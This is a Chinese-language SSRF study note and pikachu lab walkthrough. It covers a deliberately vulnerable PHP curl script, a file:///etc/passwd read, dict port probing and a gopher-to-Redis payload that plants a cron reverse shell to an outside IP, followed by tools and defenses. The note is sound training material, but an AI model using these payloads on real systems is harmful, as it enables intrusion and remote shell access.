目录
SSRF:Server-Side Request Forgery
SSRF:Server-Side Request Forgery
服务器端请求伪造:是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
PHP curl
<?php
function curl($url){
$ch = curl_init();
// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出
// 抓取URL并把它传递给浏览器
curl_exec($ch);
//关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
获取网页资源——爬虫
webservice——获取接口数据
FTP——下载文件
php.ini extension=php_curl.dll
PHP 可能引起SSRF的函数
函数 | 作用 |
curl_exec() | 执行 cURL 会话 |
file_get_contents() | 将整个文件读入一个字符串 |
fsockopen() | 打开一个网络连接或者一个Unix套接字连接 |
PHP其他函数
函数 | 作用 |
curl_exec() | 执行 cURL 会话 |
file_get_contents() | 将整个文件读入一个字符串 |
fsockopen() | 打开一个网络连接或者一个Unix套接字连接 |
CURL其他协议
协议 | 作用 | payload |
file | 查看文件 | curl -v 'file:///etc/passwd' |
dict | 探测端口 | http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 |
gopher | 反弹shell | curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d% 0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3% 0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron /%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a $10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$ 4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a |
dict和gopher协议原本作用:
dict协议:用于搭建在线字典服务
gopher协议:是一种信息查找系统,只支持文本,不支持图像,已被HTTP替代
SSRF利用:
1.扫描资产
2.获取敏感信息
3.攻击内网服务器(绕过防火墙)
4.访问大文件,造成溢出
5.通过Redis写入WebShell或建立反弹连接
实际案例:
1.Wordpress 3.5.1以下版本 xmlrpc.php pingback的缺陷与SSFR
2.discuz!的SSRF(利用php的header函数来绕过,其实就是302跳转实现协议转换)
3.weblogic的SSRF
SSRF的发现
1.爬取地址
2.查看是否请求了其他资源,也可以用Google语法搜索关键字:
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
工具
https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap
SSRF的防御
1.禁用协议
2.限制请求端口
3.设置URL白名单
4.过滤返回信息
5.统一错误信息
pikachu-SSRF
一:curl
点击后看到url
1.访问连接:
2.读取本地文件
3.dict协议扫描主机端口
二:file_get_content
和上题一样不过换成了file
4.http协议请求内网资源
?file=http://127.0.0.1/pikachu/wiki/image/title.png
参考文章:
pikachu靶场练习——SSRF详解_pikachu ssrf-CSDN博客